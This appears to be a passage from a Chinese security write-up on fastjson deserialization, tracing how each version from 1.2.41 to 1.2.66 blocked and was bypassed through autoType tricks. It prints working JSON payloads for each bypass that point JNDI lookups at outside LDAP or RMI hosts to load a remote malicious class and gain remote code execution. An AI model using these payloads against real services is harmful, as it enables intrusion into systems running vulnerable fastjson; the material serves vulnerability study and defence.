因为这里的loadclass也是在白名单匹配后的,我们也用不了,接着看发现最后如果autoTypeSupport开启的情况下,会再一次进行判断然后调用到loadClass中,这里就是我们最终利用的地方,如下图:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_android_56

跟进一下loadClass发现,如果类名是以[ 开头的,则[ 会被自动去掉,如果是以L开头;结尾的也会去掉,那么我们利用此特性进行绕过:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_android_57

漏洞利用:

需要开启 autoType,也就是autoTypeSupport为true(默认为false)

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

payload:

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://91.206.92.47:1389/0stbf5", "autoCommit":true}

起了个spring-boot:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_JSON_58

成功rce:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_android_59

fastjson 1.2.42

在1.2.41中用L;的绕过方法,在1.2.42中行不通:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_json_60

对比一下,发现为了防止安全人员找出新的bypass类和方法,这里的黑名单变为了hash值。我们无法直接看到黑名单里的类

有师傅专门做了个项目,来跑黑名单里这些类的hash:

https://github.com/LeadroyaL/fastjson-blacklist

在checkAutoType中,对L ;进行了截取,然后进入到TypeUtils.loadClass中,也就是说checkAutoType截取一次,loadClass截取一次,这样的话双写就可以绕过

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_json_61

payload:

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://91.206.92.47:1389/rkth6c", "autoCommit":true}

攻击成功:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_java_62

spring-boot测试下:

不双写攻击失败:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_json_63

双写攻击成功:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_json_64

fastjson 1.2.43

这里判断了是否以LL开头:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_android_65


但是可以用 [ 进行绕过:

payload:

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://91.206.92.47:1389/rkth6c", "autoCommit":true}

rce成功:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_JSON_66

fastjson 1.2.44

增加了对[的绕过,在checkAutoType中进行判断,如果类名以[开始则直接抛出异常

fastjson 1.2.45

一个黑名单绕过。用的org.apache.ibatis.datasource.jndi.JndiDataSourceFactory类,所以要求环境要有mybatis组件。

原理就是通过mybatis组件进行JNDI接口调用,加载恶意类执行命令。

有第三方依赖的话应该是通杀 1.2.25 <= fastjson <= 1.2.45

payload:

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://91.206.92.47:1389/rkth6c"}}

rce成功:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_json_67

fastjson 1.2.47

前面几种绕过都是要开启autoTypeSupport,也就是autoTypeSupport为true,在此方法中,可以在不开启autoTypeSupport的情况下才可触发漏洞。此Payload能够绕过checkAutoType内的各种检测,原理是通过Fastjson自带的缓存机制将恶意类加载到Mapping中,从而绕过checkAutoType检测

影响版本:1.2.25 <= fastjson <= 1.2.47
通杀三种方式:

  • JSON.parse(text);
  • JSON.parseObject(text);
  • JSON.parseObject(text, JdbcRowSetImpl.class);

payload:

{"a":{"@type":"java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://91.206.92.47:1389/rkth6c", "autoCommit": true}}

rce成功:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_System_68

问题还是出在了checkAutoType这个检查函数中,当autoTypeSupport开启时,他会走到第一处,抛出异常,然后在第二处和第三处进行查找。当autoTypeSupport不开启时,他会直接在第二处和第三处中进行查找:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_android_69


之后如果 AutoTypeSupport 为false,这里与之前逻辑一致,会进行黑名单检查:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_JSON_70

在上两个图中,都存在if判断,有一个if判断是如果我们的这个反序列化的类在黑名单中,并且 TypeUtils.mappings 中没有该类缓存,那么就会抛出异常:

if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null)

还有一个if判断是 AutoTypeSupport 为false的那个判断,会进行黑名单检查,不通过会抛出异常,这里我们绕不过去:

if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0)

但是我们发现,在如上提到的两个if之间的代码,存在逻辑绕过,如下的代码中, 会在TypeUtils.mappings 与 deserializers 查类,如果找到了,则就会 return:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_json_71

而对于deserializers,在ParserConfig类进行初始化时会执行initDeserializers方法,会向deserializers中添加许多的类,其中有这么一行,它代表向deserializers中添加java.lang.Class类,并且设定java.lang.class对应的反序列化处理类com.alibaba.fastjson.serializer.MiscCodec:

this.deserializers.put(Class.class, MiscCodec.instance);

上述过程如下图:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_android_72


fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_JSON_73


fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_JSON_74


fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_System_75


fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_java_76


fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_android_77


fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_System_78


所以当我们传入最开始的那个payload时,他的流程是这样的:

1. 开始解析json.
2. 进入checkAutoType()检查类的安全性
3. 从mapping中或者deserializers.findClass()寻找
4. 在deserializers中找java.lang.Class类,找到后直接return跳出函数,不会再进行autotype和黑名单校验

5 . 继续向下走,获取到java.lang.class对应的反序列化处理类:MiscCodec,然后开始执行 deserializer.deserialze进行反序列化:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_java_79

6 .在deserializer.deserialze中,parser.parse()获取val的值,参数名必须为val,否则会抛出异常:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_json_80


7 .在deserializer.deserialze中接着走,会赋值给strVal:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_android_81


8 .在deserializer.deserialze中再接着往下走,会走到如下这里:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_JSON_82


9 .这里是使用loadclass方法,将strVal加入到mapping:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_android_83


fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_java_84


经过上述过程,mapping中有了我们的恶意类名,同时Mappings又是ConcurrentMap类的对象。说明白点就是在当前连接会话生效。如下图:

fastjson序列化和反序列化 redisTemplate fastjson反序列化原理_System_85


所以我们需要在一次连接会话同时传入两个json键值,第一个json键值对是将我们的恶意类放到mapping中,由于此次连接未断开时,它在解析第二个json键值对时,由于我们的恶意类在mapping中,它就会直接绕过检测执行我们jndi注入的payload完成rce

fastjson 1.2.48

MiscCodec中修改了cache的默认值为false,并且对TypeUtils.loadClass中的mapping.put做了限制

fastjson 1.2.62

黑名单bypass

payload:

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";

fastjson 1.2.66

同黑名单bypass,需要autotype开启

payload:

// 需要autotype true
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}

fastjson 1.2.68

浅蓝师傅在kcon上分享的,是一个任意写文件的链子,大家可以去看下kcon的报告